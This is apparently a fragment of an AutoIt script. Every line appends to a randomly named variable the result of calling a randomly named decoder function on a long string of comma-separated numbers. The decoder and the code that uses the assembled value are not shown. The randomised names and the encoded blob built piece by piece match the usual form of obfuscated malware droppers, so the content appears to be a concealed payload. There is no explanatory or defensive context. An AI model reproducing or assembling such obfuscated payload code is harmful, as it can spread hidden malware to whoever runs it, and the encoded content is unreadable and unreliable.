$LMASCGP &= BTBXJYMRFGAETPA ("54,56,55,56,53,57,57,56,53,56,6,56,55,56,6,56,56,57,54,57,57,57,54,57,54,57,54,57,54,56,54,56,5,56,54,57,55,56,54,56,56,56,54,57,54,57,57,56,53,56,6,56,55,56,6,56,6,57,54,57,57,57,54,57,54,57,54,57,54,56,53,56,53,56,55,56,60,56,53,56,58,56,54,57,54,56,54,56,54,57,57,56,53,56,6,56,55,56,6,57,57,57,54,57,57,57,54,57,54,57,54,57,54,56,54,56,57,56,55,56,53,56,6,56,6,56,6,56,55,56,6,57,55,57,54,57,57,57,54,57,54,57,54,57,54,57,57,56,53,56,6,56,55,57,56,56,60,57,54,57,58,57,54,57,54,57,54,57,54,56,55,56,60" )
$LMASCGP &= BTBXJYMRFGAETPA ("56,54,57,54,56,53,56,57,56,53,56,56,57,57,56,53,56,6,56,55,57,56,56,56,57,54,57,58,57,54,57,54,57,54,57,54,56,55,56,59,56,53,56,55,56,54,56,5,56,53,56,56,57,57,56,53,56,6,56,55,57,56,56,6,57,54,57,58,57,54,57,54,57,54,57,54,56,56,57,56,56,54,56,55,56,53,56,57,56,53,56,57,57,57,56,53,56,6,56,55,57,56,57,57,57,54,57,58,57,54,57,54,57,54,57,54,56,54,56,59,56,54,56,53,56,54,56,55,56,60,56,60,57,57,56,53,56,6,56,55,56,57,56,56,57,54,57,54,57,54,57,54,57,54,57,54,56,56,56,55,56,54,57,55,56,54,56,56,56,55,56,60,57" )
$LMASCGP &= BTBXJYMRFGAETPA ("57,56,53,56,6,56,55,56,57,56,6,57,54,57,54,57,54,57,54,57,54,57,54,56,54,56,59,56,54,56,5,56,54,57,55,56,53,56,56,56,6,56,6,56,6,56,55,56,57,57,57,57,54,57,54,57,54,57,54,57,54,57,54,57,57,56,53,56,6,56,55,56,59,56,60,57,54,57,54,57,54,57,54,57,54,57,54,56,56,56,54,56,54,56,5,56,54,57,57,56,54,57,57,57,57,56,53,56,6,56,55,56,59,56,56,57,54,57,54,57,54,57,54,57,54,57,54,56,55,56,58,56,54,56,55,56,54,56,57,56,53,56,56,56,6,56,6,56,6,56,55,56,59,56,6,57,54,57,54,57,54,57,54,57,54,57,54,57,57,56,53,56,6" )
$LMASCGP &= BTBXJYMRFGAETPA ("56,55,57,59,56,56,57,54,57,55,57,54,57,54,57,54,57,54,56,56,56,58,56,54,56,55,56,54,56,53,56,54,56,5,57,57,56,53,56,6,56,55,57,59,56,6,57,54,57,55,57,54,57,54,57,54,57,54,56,54,57,55,56,55,56,60,56,54,56,59,56,54,56,5,56,54,56,54,57,57,56,53,56,6,56,55,57,59,57,57,57,54,57,55,57,54,57,54,57,54,57,54,56,54,57,55,56,53,56,56,56,6,56,6,56,6,56,55,57,59,57,55,57,54,57,55,57,54,57,54,57,54,57,54,57,57,56,53,56,6,56,55,57,58,56,60,57,54,57,57,57,54,57,54,57,54,57,54,56,56,56,57,56,54,57,54,56,56,56,5,56,54,57" )
$LMASCGP &= BTBXJYMRFGAETPA ("55,57,57,56,53,56,6,56,55,57,58,56,56,57,54,57,57,57,54,57,54,57,54,57,54,56,54,56,5,56,53,56,56,56,54,56,5,56,54,56,59,57,57,56,53,56,6,56,55,57,58,56,6,57,54,57,57,57,54,57,54,57,54,57,54,56,54,57,57,56,54,56,5,56,53,57,59,56,54,56,55,56,54,56,54,57,57,56,53,56,6,56,55,57,58,57,57,57,54,57,57,57,54,57,54,57,54,57,54,56,56,56,55,56,53,56,6,56,6,56,6,56,6,56,55,57,58,57,55,57,54,57,57,57,54,57,54,57,54,57,54,57,57,56,53,56,6,56,55,56,6,56,56,57,54,57,58,57,54,57,54,57,54,57,54,56,56,56,57,56,54,57,54" )
$LMASCGP &= BTBXJYMRFGAETPA ("56,56,56,57,56,53,56,58,57,57,56,53,56,6,56,55,56,6,56,6,57,54,57,58,57,54,57,54,57,54,57,54,56,54,56,55,56,54,56,59,56,53,56,56,56,54,56,55,57,57,56,53,56,6,56,55,56,6,57,57,57,54,57,58,57,54,57,54,57,54,57,54,56,56,56,5,56,54,57,55,56,53,56,57,56,53,56,56,57,57,56,53,56,6,56,55,56,5,56,60,57,54,57,58,57,54,57,54,57,54,57,54,56,54,56,59,56,54,57,55,56,54,56,57,56,54,56,55,56,6,56,6,56,6,56,55,56,5,56,56,57,54,57,58,57,54,57,54,57,54,57,54,57,57,56,53,56,6,56,55,56,55,56,60,57,54,57,55,57,54,57,54,57" )
$LMASCGP &= BTBXJYMRFGAETPA ("54,57,54,56,55,57,57,56,56,57,58,56,54,57,55,56,54,57,54,57,57,56,53,56,6,56,55,56,55,56,56,57,54,57,55,57,54,57,54,57,54,57,54,56,53,56,53,56,54,57,55,56,56,56,56,56,54,57,57,57,57,56,53,56,6,56,55,56,55,56,6,57,54,57,55,57,54,57,54,57,54,57,54,56,54,57,57,56,53,56,57,56,57,56,57,56,57,56,58,57,57,56,53,56,6,56,55,56,55,57,57,57,54,57,55,57,54,57,54,57,54,57,54,56,55,57,57,56,56,57,54,56,54,57,57,56,54,56,55,57,57,56,53,56,6,56,55,56,54,56,60,57,54,57,55,57,54,57,54,57,54,57,54,56,57,56,57,56,57,56,58,56,58" )
$LMASCGP &= BTBXJYMRFGAETPA ("57,55,56,54,56,56,56,54,56,54,57,57,56,53,56,6,56,55,56,54,56,56,57,54,57,55,57,54,57,54,57,54,57,54,56,54,57,57,56,54,57,57,56,6,56,6,56,6,56,55,56,54,56,54,57,54,57,55,57,54,57,54,57,54,57,54,57,57,56,53,56,6,56,55,56,60,56,56,57,54,57,54,57,54,57,54,57,54,57,54,56,56,57,54,56,54,57,57,56,54,56,55,56,57,56,57,57,57,56,53,56,6,56,55,56,60,56,6,57,54,57,54,57,54,57,54,57,54,57,54,56,57,56,58,56,58,57,55,56,54,56,56,56,54,57,57,56,54,56,54,57,57,56,53,56,6,56,55,56,60,57,57,57,54,57,54,57,54,57,54,57,54,57" )
$LMASCGP &= BTBXJYMRFGAETPA ("54,56,54,57,57,56,60,56,60,57,57,56,53,56,6,56,55,56,53,56,60,57,54,57,57,57,54,57,54,57,54,57,54,56,56,57,55,56,53,56,56,56,56,56,57,56,53,56,58,57,57,56,53,56,6,56,55,56,53,56,56,57,54,57,57,57,54,57,54,57,54,57,54,56,54,56,55,56,54,56,59,56,53,56,56,56,54,56,55,57,57,56,53,56,6,56,55,56,53,56,6,57,54,57,57,57,54,57,54,57,54,57,54,56,56,57,56,56,53,56,55,56,53,56,56,56,54,56,59,56,54,56,54,57,57,56,53,56,6,56,55,56,53,57,57,57,54,57,57,57,54,57,54,57,54,57,54,56,54,57,55,56,53,56,56,56,6,56,6,56,6,56,55" )
$LMASCGP &= BTBXJYMRFGAETPA ("56,53,57,55,57,54,57,57,57,54,57,54,57,54,57,54,57,57,56,53,56,6,56,55,56,55,57,57,57,54,57,56,57,54,57,54,57,54,57,54,56,56,57,55,56,53,56,56,56,56,57,54,56,53,56,60,57,57,56,53,56,6,56,55,56,54,56,60,57,54,57,56,57,54,57,54,57,54,57,54,56,54,56,55,56,54,57,55,56,56,57,56,56,53,56,55,57,57,56,53,56,6,56,55,56,54,56,56,57,54,57,56,57,54,57,54,57,54,57,54,56,53,56,56,56,54,56,59,56,54,57,55,56,53,56,56,56,6,56,6,56,6,56,55,56,54,56,6,57,54,57,56,57,54,57,54,57,54,57,54,57,57,56,53,56,56,56,55,57,57,56,56,56" )
$LMASCGP &= BTBXJYMRFGAETPA ("54,57,58,56,54,56,55,56,53,56,58,56,54,57,55,57,57,56,53,56,56,56,55,57,57,56,6,56,54,56,55,56,54,57,57,56,57,56,57,56,57,56,58,56,6,56,6,56,56,56,55,57,56,56,60,56,6,56,6,56,56,56,55,57,59,56,56,56,6,56,6,56,6,56,55,56,57,57,57,57,54,57,56,57,54,57,54,57,54,57,54,56,54,56,56,57,59,56,59,56,57,56,60,56,60,56,60,56,60,56,60,56,60,56,60,57,57,56,53,56,56,56,55,57,57,57,57,56,58,57,55,56,54,56,56,56,54,57,57,56,54,57,57,57,57,56,53,56,56,56,55,56,5,56,6,56,56,57,58,56,56,56,55,56,55,56,58,56,56,57,55,57,57" )
$LMASCGP &= BTBXJYMRFGAETPA ("56,53,56,56,56,55,56,5,57,57,56,56,56,55,56,56,57,57,56,57,56,57,56,57,56,58,57,57,56,53,56,56,56,55,57,59,56,60,56,58,57,55,56,56,56,56,56,56,57,57,56,56,57,57,57,57,56,53,56,6,56,55,56,57,56,60,57,54,57,56,57,54,57,54,57,54,57,54,56,56,56,57,56,53,56,58,56,54,56,55,56,54,56,59,57,57,56,53,56,6,56,55,56,57,56,56,57,54,57,56,57,54,57,54,57,54,57,54,56,53,56,56,56,54,56,55,56,56,57,56,56,53,56,55,57,57,56,53,56,6,56,55,56,57,56,6,57,54,57,56,57,54,57,54,57,54,57,54,56,53,56,56,56,54,56,55,56,53,56,6,56,55,56" )
$LMASCGP &= BTBXJYMRFGAETPA ("53,56,6,57,58,56,56,56,60,56,60,57,57,56,6,57,58,56,56,56,60,56,59,56,56,56,6,57,58,56,60,56,60,56,6,57,58,56,55,56,6,56,59,56,60,56,6,57,56,56,56,56,55,57,56,56,56,56,55,56,60,57,55,56,6,56,58,57,55,57,55,57,57,57,54,57,54,57,54,57,54,56,6,57,58,57,54,56,60,56,6,57,56,56,56,56,55,57,58,56,6,56,55,56,60,57,55,56,6,56,58,56,57,57,55,57,57,57,54,57,54,57,54,57,54,56,6,57,58,57,54,56,6,56,6,57,56,56,56,56,55,57,57,56,56,56,55,56,60,57,54,57,54,57,56,56,54,56,55,56,5,56,56,56,60,56,55,56,60,56,6,57,56" )
$LMASCGP &= BTBXJYMRFGAETPA ("56,56,56,55,57,57,56,56,56,55,56,60,56,6,57,56,56,6,56,55,57,59,57,57,57,55,57,57,57,54,57,54,57,54,57,54,56,55,56,60,57,54,57,54,57,56,56,53,56,6,57,56,56,56,56,55,56,5,56,6,56,6,56,57,57,57,56,56,56,60,57,57,56,55,56,60,57,54,57,54,57,56,56,54,56,55,56,5,56,56,56,60,56,55,56,60,56,6,57,56,56,56,56,55,56,5,56,6,56,55,56,60,56,6,57,56,56,6,56,55,57,59,56,56,57,55,57,59,57,54,57,54,57,54,57,54,56,55,56,60,57,54,57,54,57,56,56,53,56,6,56,57,57,57,56,56,56,60,57,57,56,6,57,56,56,6,56,55,57,59,57,57,57" )
$LMASCGP &= BTBXJYMRFGAETPA ("55,57,57,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,57,59,56,5,57,55,57,56,57,54,57,54,57,54,57,54,56,6,56,57,56,54,56,55,57,55,56,6,56,60,56,60,56,6,56,55,57,57,56,60,56,53,56,55,56,59,56,53,56,6,57,56,56,6,56,55,57,59,56,56,57,55,57,59,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,56,5,56,55,57,55,57,56,57,54,57,54,57,54,57,54,56,6,56,55,57,57,56,60,56,53,56,55,56,60,56,53,57,57,56,53,56,56,56,55,57,55,56,6,56,60,56,59,56,60,56,60,56,60,56,60,56,60,56,60,56,6,57,56,56,6,57,56,56,55,56,6,57,54" )
$LMASCGP &= BTBXJYMRFGAETPA ("57,54,57,54,57,54,57,54,57,54,56,55,56,59,56,6,57,58,57,56,56,6,57,55,56,6,57,58,56,54,57,55,57,58,57,54,57,54,57,54,57,54,56,57,56,57,57,56,57,58,56,6,56,5,56,5,57,56,57,55,56,56,57,54,56,6,57,54,57,54,57,54,57,54,56,57,56,5,56,55,57,56,57,55,56,6,56,60,57,54,56,6,56,56,56,55,57,55,56,60,56,53,56,60,56,60,56,60,56,60,56,6,56,5,56,5,57,56,57,55,56,56,57,54,56,6,57,54,57,54,57,54,57,54,56,6,57,56,56,6,56,55,57,57,56,6,57,54,57,55,57,54,57,54,57,54,57,54,56,55,56,60,57,54,57,54,57,56,56,54,56,55,56" )
$LMASCGP &= BTBXJYMRFGAETPA ("5,56,56,56,60,56,55,56,60,56,6,57,56,56,6,56,55,57,57,56,6,57,54,57,55,57,54,57,54,57,54,57,54,56,55,56,60,56,6,57,56,56,6,56,55,57,58,56,56,57,55,57,55,57,54,57,54,57,54,57,54,56,55,56,60,57,54,57,54,57,56,56,53,56,6,57,56,56,6,56,55,57,56,56,6,57,54,57,56,57,54,57,54,57,54,57,54,56,6,56,57,57,57,56,56,56,60,57,57,56,55,56,60,57,54,57,54,57,56,56,54,56,55,56,5,56,56,56,60,56,55,56,60,56,6,57,56,56,6,56,55,57,56,56,6,57,54,57,56,57,54,57,54,57,54,57,54,56,55,56,60,56,6,57,56,56,6,56,55,57,58,57,57" )
$LMASCGP &= BTBXJYMRFGAETPA ("57,54,56,60,57,54,57,54,57,54,57,54,56,55,56,60,57,54,57,54,57,56,56,53,56,6,57,56,56,6,56,55,56,59,56,56,57,54,57,55,57,54,57,54,57,54,57,54,56,6,56,57,57,57,56,56,56,60,57,57,56,55,56,60,57,54,57,54,57,56,56,54,56,55,56,5,56,56,56,60,56,55,56,60,56,6,57,56,56,6,56,55,56,59,56,56,57,54,57,55,57,54,57,54,57,54,57,54,56,55,56,60,56,6,57,56,56,6,56,55,57,56,56,56,57,54,56,54,57,54,57,54,57,54,57,54,56,55,56,60,57,54,57,54,57,56,56,53,56,6,57,56,56,6,56,55,56,53,56,56,57,54,57,55,57,54,57,54,57,54,57,54,56" )
$LMASCGP &= BTBXJYMRFGAETPA ("6,56,57,57,57,56,56,56,60,57,57,56,55,56,60,57,54,57,54,57,56,56,54,56,55,56,5,56,56,56,60,56,55,56,60,56,6,57,56,56,6,56,55,56,53,56,56,57,54,57,55,57,54,57,54,57,54,57,54,56,55,56,60,56,6,57,56,56,6,56,55,57,57,57,57,57,54,56,56,57,54,57,54,57,54,57,54,56,55,56,60,57,54,57,54,57,56,56,53,56,6,57,56,56,6,56,55,57,55,56,60,57,54,57,55,57,54,57,54,57,54,57,54,56,6,56,57,57,57,56,56,56,60,57,57,56,55,56,60,57,54,57,54,57,56,56,54,56,56,56,60,56,55,56,5,56,55,56,60,56,6,57,56,56,6,56,55,57,55,56,60,57,54" )
$LMASCGP &= BTBXJYMRFGAETPA ("57,55,57,54,57,54,57,54,57,54,56,55,56,60,56,6,57,56,56,6,56,55,57,57,56,56,57,54,56,58,57,54,57,54,57,54,57,54,56,55,56,60,57,54,57,54,57,56,56,53,56,6,56,57,57,57,56,56,56,60,57,57,56,6,57,56,56,6,56,55,57,58,57,57,57,54,56,60,57,54,57,54,57,54,57,54,57,55,56,6,57,59,56,59,57,55,57,58,57,54,57,54,57,54,57,54,56,6,56,5,56,56,56,55,56,59,56,60,56,6,57,56,56,6,56,55,57,58,56,56,57,55,57,55,57,54,57,54,57,54,57,54,57,55,56,6,56,5,56,57,57,55,57,58,57,54,57,54,57,54,57,54,56,6,56,5,56,56,56,55,56,60,57" )
$LMASCGP &= BTBXJYMRFGAETPA ("57,56,6,57,56,56,6,56,55,57,56,56,56,57,54,56,54,57,54,57,54,57,54,57,54,57,55,56,6,56,6,56,55,57,55,57,58,57,54,57,54,57,54,57,54,56,6,56,5,56,56,56,55,56,59,56,56,56,6,57,56,56,6,56,55,57,57,57,57,57,54,56,56,57,54,57,54,57,54,57,54,57,55,56,6,56,53,56,53,57,55,57,58,57,54,57,54,57,54,57,54,56,6,56,5,56,56,56,55,56,59,56,6,56,6,57,56,56,6,56,55,57,57,56,56,57,54,56,58,57,54,57,54,57,54,57,54,57,55,56,6,56,54,56,5,57,55,57,58,57,54,57,54,57,54,57,54,56,6,57,58,56,55,57,56,56,59,56,56,56,6,56,5" )
$LMASCGP &= BTBXJYMRFGAETPA ("56,56,56,55,56,59,57,57,56,6,57,56,56,6,56,55,56,56,56,6,57,54,57,54,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,57,59,57,54,57,55,57,59,57,54,57,54,57,54,57,54,56,6,57,58,57,54,56,60,56,6,57,56,56,56,56,55,57,59,56,6,56,55,56,60,56,6,56,5,57,58,56,55,57,55,56,60,57,54,56,6,57,54,57,54,57,54,57,54,57,55,56,6,56,5,57,55,57,55,57,59,57,54,57,54,57,54,57,54,56,6,57,58,57,54,56,6,56,6,57,56,56,6,56,55,56,60,56,56,57,54,57,54,57,54,57,54,57,54,57,54,56,55,56,60,57,54,57,54,57,56,56,53,56,6,57,58,56" )
$LMASCGP &= BTBXJYMRFGAETPA ("55,57,56,56,59,56,56,56,6,56,5,56,56,56,55,57,55,56,6,56,6,57,56,56,6,56,55,56,55,56,60,57,54,57,57,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,56,6,56,59,57,55,57,59,57,54,57,54,57,54,57,54,56,6,56,5,56,6,56,55,56,58,56,6,56,60,56,59,56,60,56,60,56,60,56,60,56,6,57,56,56,6,56,55,56,58,56,60,57,54,57,59,57,54,57,54,57,54,57,54,56,55,56,60,56,6,57,56,56,56,56,55,57,55,57,57,56,55,56,60,57,54,57,54,57,56,56,53,56,55,56,60,57,54,57,54,57,56,56,54,56,6,56,5,56,6,56,55,57,57,56,56,56,60,56,60,56,60" )
$LMASCGP &= BTBXJYMRFGAETPA ("56,60,56,60,56,60,56,6,57,56,56,6,56,55,56,60,56,60,57,54,57,57,57,54,57,54,57,54,57,54,56,55,56,60,56,6,57,56,56,56,56,55,57,55,57,57,56,55,56,60,57,54,57,54,57,56,56,53,56,55,56,60,57,54,57,54,57,56,56,54,56,6,56,5,56,6,56,55,57,57,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,6,57,56,56,6,56,55,57,57,56,6,57,54,57,56,57,54,57,54,57,54,57,54,56,55,56,60,56,6,57,56,56,56,56,55,57,55,57,57,56,55,56,60,57,54,57,54,57,56,56,53,56,55,56,60,57,54,57,54,57,56,56,54,56,6,56,5,56,6,56,55,57,58,56,56,56,60,56" )
$LMASCGP &= BTBXJYMRFGAETPA ("60,56,60,56,60,56,60,56,60,56,6,57,56,56,6,56,55,56,54,56,60,57,54,57,57,57,54,57,54,57,54,57,54,56,55,56,60,56,6,57,56,56,56,56,55,57,55,57,57,56,55,56,60,57,54,57,54,57,56,56,53,56,55,56,60,57,54,57,54,57,56,56,54,56,6,56,5,56,6,56,55,57,58,56,6,56,60,56,60,56,60,56,60,56,60,56,60,56,6,57,56,56,6,56,55,56,53,56,60,57,54,57,58,57,54,57,54,57,54,57,54,56,55,56,60,56,6,57,56,56,56,56,55,57,55,57,57,56,55,56,60,57,54,57,54,57,56,56,53,56,55,56,60,57,54,57,54,57,56,56,54,56,6,56,5,56,6,56,55,57,58,56,60" )
$LMASCGP &= BTBXJYMRFGAETPA ("56,60,56,60,56,60,56,60,56,60,56,60,56,6,57,56,56,6,56,55,56,59,56,60,57,54,57,57,57,54,57,54,57,54,57,54,56,55,56,60,56,6,57,56,56,56,56,55,57,55,57,57,56,55,56,60,57,54,57,54,57,56,56,53,56,55,56,60,57,54,57,54,57,56,56,54,56,6,56,5,56,6,56,55,57,59,57,57,56,60,56,60,56,60,56,60,56,60,56,60,56,6,57,56,56,6,56,55,56,59,56,60,57,54,57,56,57,54,57,54,57,54,57,54,56,55,56,60,56,6,57,56,56,56,56,55,57,55,57,57,56,55,56,60,57,54,57,54,57,56,56,53,56,55,56,60,57,54,57,54,57,56,56,54,56,6,56,5,56,6,56,55,57" )
$LMASCGP &= BTBXJYMRFGAETPA ("58,57,57,56,60,56,60,56,60,56,60,56,60,56,60,56,6,57,56,56,6,56,55,57,56,56,60,57,54,57,59,57,54,57,54,57,54,57,54,56,55,56,60,56,6,57,56,56,56,56,55,57,55,57,57,56,55,56,60,57,54,57,54,57,56,56,53,56,55,56,60,57,54,57,54,57,56,56,54,56,6,57,58,56,55,57,56,56,59,56,56,56,6,56,5,56,6,56,55,57,59,56,6,56,60,56,60,56,60,56,60,56,60,56,60,56,6,57,56,56,6,56,55,56,57,57,57,57,54,56,5,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,57,58,57,57,57,55,56,5,57,54,57,54,57,54,57,54,56,6,56,5,56,6,56,55,56,56" )
$LMASCGP &= BTBXJYMRFGAETPA ("56,56,56,60,56,59,56,60,56,60,56,60,56,60,56,6,57,56,56,6,56,55,56,60,56,60,57,54,57,56,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,57,59,57,59,57,55,56,5,57,54,57,54,57,54,57,54,56,6,56,5,56,6,56,55,57,55,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,6,57,56,56,6,56,55,56,54,57,57,57,54,57,56,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,56,5,56,6,57,55,56,5,57,54,57,54,57,54,57,54,56,6,56,5,56,6,56,55,56,58,56,56,56,60,56,59,56,60,56,60,56,60,56,60,56,6,57,56,56,6,56,55,57,54,56,6,57,54,57" )
$LMASCGP &= BTBXJYMRFGAETPA ("59,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,56,6,56,54,57,55,56,5,57,54,57,54,57,54,57,54,56,6,56,5,56,6,56,55,57,55,57,57,56,60,56,60,56,60,56,60,56,60,56,60,56,6,57,56,56,6,56,55,56,56,56,6,57,54,57,54,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,56,53,56,56,57,55,56,5,57,54,57,54,57,54,57,54,56,6,56,5,56,6,56,55,56,60,56,56,56,60,56,59,56,60,56,60,56,60,56,60,56,6,57,56,56,6,56,55,57,55,56,60,57,54,57,57,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,56,54,56,58,57,55,56,5,57,54,57,54" )
$LMASCGP &= BTBXJYMRFGAETPA ("57,54,57,54,56,6,56,5,56,6,56,55,56,5,57,57,56,60,56,60,56,60,56,60,56,60,56,60,56,6,57,56,56,56,56,55,57,59,56,6,56,55,56,60,57,55,56,6,56,55,56,57,57,55,56,5,57,54,57,54,57,54,57,54,56,6,56,5,56,6,56,55,56,60,56,6,56,60,56,59,56,60,56,60,56,60,56,60,56,6,57,56,56,6,56,55,57,59,56,6,57,54,57,56,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,56,56,56,59,57,55,56,5,57,54,57,54,57,54,57,54,56,6,56,5,56,6,56,55,57,56,57,57,56,60,56,60,56,60,56,60,56,60,56,60,56,6,57,56,56,6,56,55,57,58,56,6,57" )
$LMASCGP &= BTBXJYMRFGAETPA ("54,57,56,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,56,58,57,54,57,55,56,5,57,54,57,54,57,54,57,54,56,6,56,5,56,6,56,55,57,56,56,56,56,60,56,60,56,60,56,60,56,60,56,60,56,6,57,56,56,6,56,55,56,58,56,6,57,54,57,54,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,56,59,57,56,57,55,56,5,57,54,57,54,57,54,57,54,56,6,57,58,56,53,56,55,56,60,57,57,56,6,56,5,56,6,56,55,56,57,56,56,56,60,56,59,56,60,56,60,56,60,56,60,56,6,57,56,56,56,56,55,57,58,56,6,56,55,56,60,56,6,57,58,57,56,57,55,57,55,56,6,56,60" )
$LMASCGP &= BTBXJYMRFGAETPA ("56,5,57,55,56,5,57,54,57,54,57,54,57,54,56,6,56,5,56,6,56,55,56,56,56,6,56,60,56,59,56,60,56,60,56,60,56,60,56,6,57,56,56,56,56,55,56,5,56,60,56,55,56,60,57,55,56,6,57,54,57,59,57,55,56,6,57,54,57,54,57,54,57,54,56,6,56,5,56,6,56,55,56,55,56,60,56,60,56,59,56,60,56,60,56,60,56,60,56,6,57,56,56,56,56,55,56,6,56,6,56,55,56,60,57,55,56,6,57,55,57,58,57,55,56,6,57,54,57,54,57,54,57,54,56,6,56,5,56,6,56,55,56,55,56,56,56,60,56,59,56,60,56,60,56,60,56,60,56,6,57,56,56,6,56,55,57,59,56,6,57,54,56" )
$LMASCGP &= BTBXJYMRFGAETPA ("5,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,57,56,56,5,57,55,56,6,57,54,57,54,57,54,57,54,56,6,56,5,56,6,56,55,56,6,56,6,56,60,56,60,56,60,56,60,56,60,56,60,56,6,57,56,56,6,56,55,56,5,56,60,57,54,56,5,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,57,57,56,53,57,55,56,6,57,54,57,54,57,54,57,54,56,6,56,5,56,6,56,55,57,54,56,6,56,60,56,60,56,60,56,60,56,60,56,60,56,6,57,56,56,6,56,55,56,6,57,57,57,54,57,55,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,57,58,56,55,57,55,56,6,57,54,57,54" )
$LMASCGP &= BTBXJYMRFGAETPA ("57,54,57,54,56,6,56,5,56,6,56,55,56,5,56,56,56,60,56,60,56,60,56,60,56,60,56,60,56,6,57,56,56,6,56,55,56,53,57,57,57,54,57,56,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,57,59,56,57,57,55,56,6,57,54,57,54,57,54,57,54,56,6,56,5,56,6,56,55,56,59,56,60,56,60,56,59,56,60,56,60,56,60,56,60,56,6,57,56,56,6,56,55,56,5,56,6,57,54,57,58,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,56,5,56,59,57,55,56,6,57,54,57,54,57,54,57,54,56,6,56,5,56,6,56,55,56,5,56,6,56,60,56,60,56,60,56,60,56,60,56,60,56" )
$LMASCGP &= BTBXJYMRFGAETPA ("6,57,56,56,6,56,55,57,55,56,60,57,54,57,58,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,56,53,57,54,57,55,56,6,57,54,57,54,57,54,57,54,56,6,56,5,56,6,56,55,56,6,56,60,56,60,56,59,56,60,56,60,56,60,56,60,56,6,57,56,56,6,56,55,57,59,57,57,57,54,57,58,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,56,54,57,56,57,55,56,6,57,54,57,54,57,54,57,54,56,6,56,57,57,59,56,55,57,55,56,6,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,6,56,5,56,6,56,55,57,55,56,56,56,60,56,60,56,60,56,60,56,60,56,60,56,6" )
$LMASCGP &= BTBXJYMRFGAETPA ("57,56,56,6,56,55,56,56,56,60,57,54,57,57,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,56,55,56,56,57,55,56,6,57,54,57,54,57,54,57,54,56,6,56,5,56,6,56,55,57,57,56,6,56,60,56,60,56,60,56,60,56,60,56,60,56,6,57,56,56,6,56,55,56,57,56,56,57,54,57,58,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,56,56,56,58,57,55,56,6,57,54,57,54,57,54,57,54,56,6,56,5,56,6,56,55,56,54,56,60,56,60,56,59,56,60,56,60,56,60,56,60,56,6,57,56,56,6,56,55,56,58,56,60,57,54,57,58,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56" )
$LMASCGP &= BTBXJYMRFGAETPA ("6,56,57,56,60,57,55,56,6,57,54,57,54,57,54,57,54,56,6,56,5,56,6,56,55,56,53,56,56,56,60,56,59,56,60,56,60,56,60,56,60,56,6,57,56,56,6,56,55,56,5,56,6,57,54,57,55,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,56,59,57,55,57,55,56,6,57,54,57,54,57,54,57,54,56,6,56,5,56,6,56,55,56,60,56,60,56,60,56,59,56,60,56,60,56,60,56,60,56,6,57,56,56,6,56,55,57,54,56,6,57,54,57,55,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,56,60,57,57,57,55,56,6,57,54,57,54,57,54,57,54,56,6,56,5,56,6,56,55,56,59,57,57" )
$LMASCGP &= BTBXJYMRFGAETPA ("56,60,56,59,56,60,56,60,56,60,56,60,56,6,57,56,56,6,56,55,56,58,56,60,57,54,57,56,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,57,54,57,59,57,55,56,53,57,54,57,54,57,54,57,54,56,6,56,5,56,6,56,55,57,59,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,6,57,56,56,6,56,55,56,56,56,6,57,54,57,58,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,57,55,56,6,57,55,56,53,57,54,57,54,57,54,57,54,56,6,56,5,56,6,56,55,56,6,57,57,56,60,56,60,56,60,56,60,56,60,56,60,56,6,57,56,56,6,56,55,57,56,56,6,57,54,56,5,57" )
$LMASCGP &= BTBXJYMRFGAETPA ("54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,57,56,56,54,57,55,56,53,57,54,57,54,57,54,57,54,56,6,56,5,56,6,56,55,57,54,56,56,56,60,56,60,56,60,56,60,56,60,56,60,56,6,57,56,56,6,56,55,57,57,56,60,57,54,56,5,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,57,57,56,56,57,55,56,53,57,54,57,54,57,54,57,54,56,6,56,5,56,6,56,55,57,54,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,6,57,56,56,6,56,55,56,58,56,60,57,54,56,5,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,57,58,56,58,57,55,56,53,57,54,57,54,57,54" )
$LMASCGP &= BTBXJYMRFGAETPA ("57,54,56,6,56,5,56,6,56,55,56,53,56,6,56,60,56,59,56,60,56,60,56,60,56,60,56,6,57,56,56,6,56,55,56,55,56,6,57,54,56,5,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,57,59,56,60,57,55,56,53,57,54,57,54,57,54,57,54,56,6,56,5,56,6,56,55,57,59,56,56,56,60,56,60,56,60,56,60,56,60,56,60,56,6,57,56,56,6,56,55,57,57,56,60,57,54,57,58,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,56,6,57,55,57,55,56,53,57,54,57,54,57,54,57,54,56,6,56,5,56,6,56,55,57,57,57,57,56,60,56,60,56,60,56,60,56,60,56,60,56,6,57" )
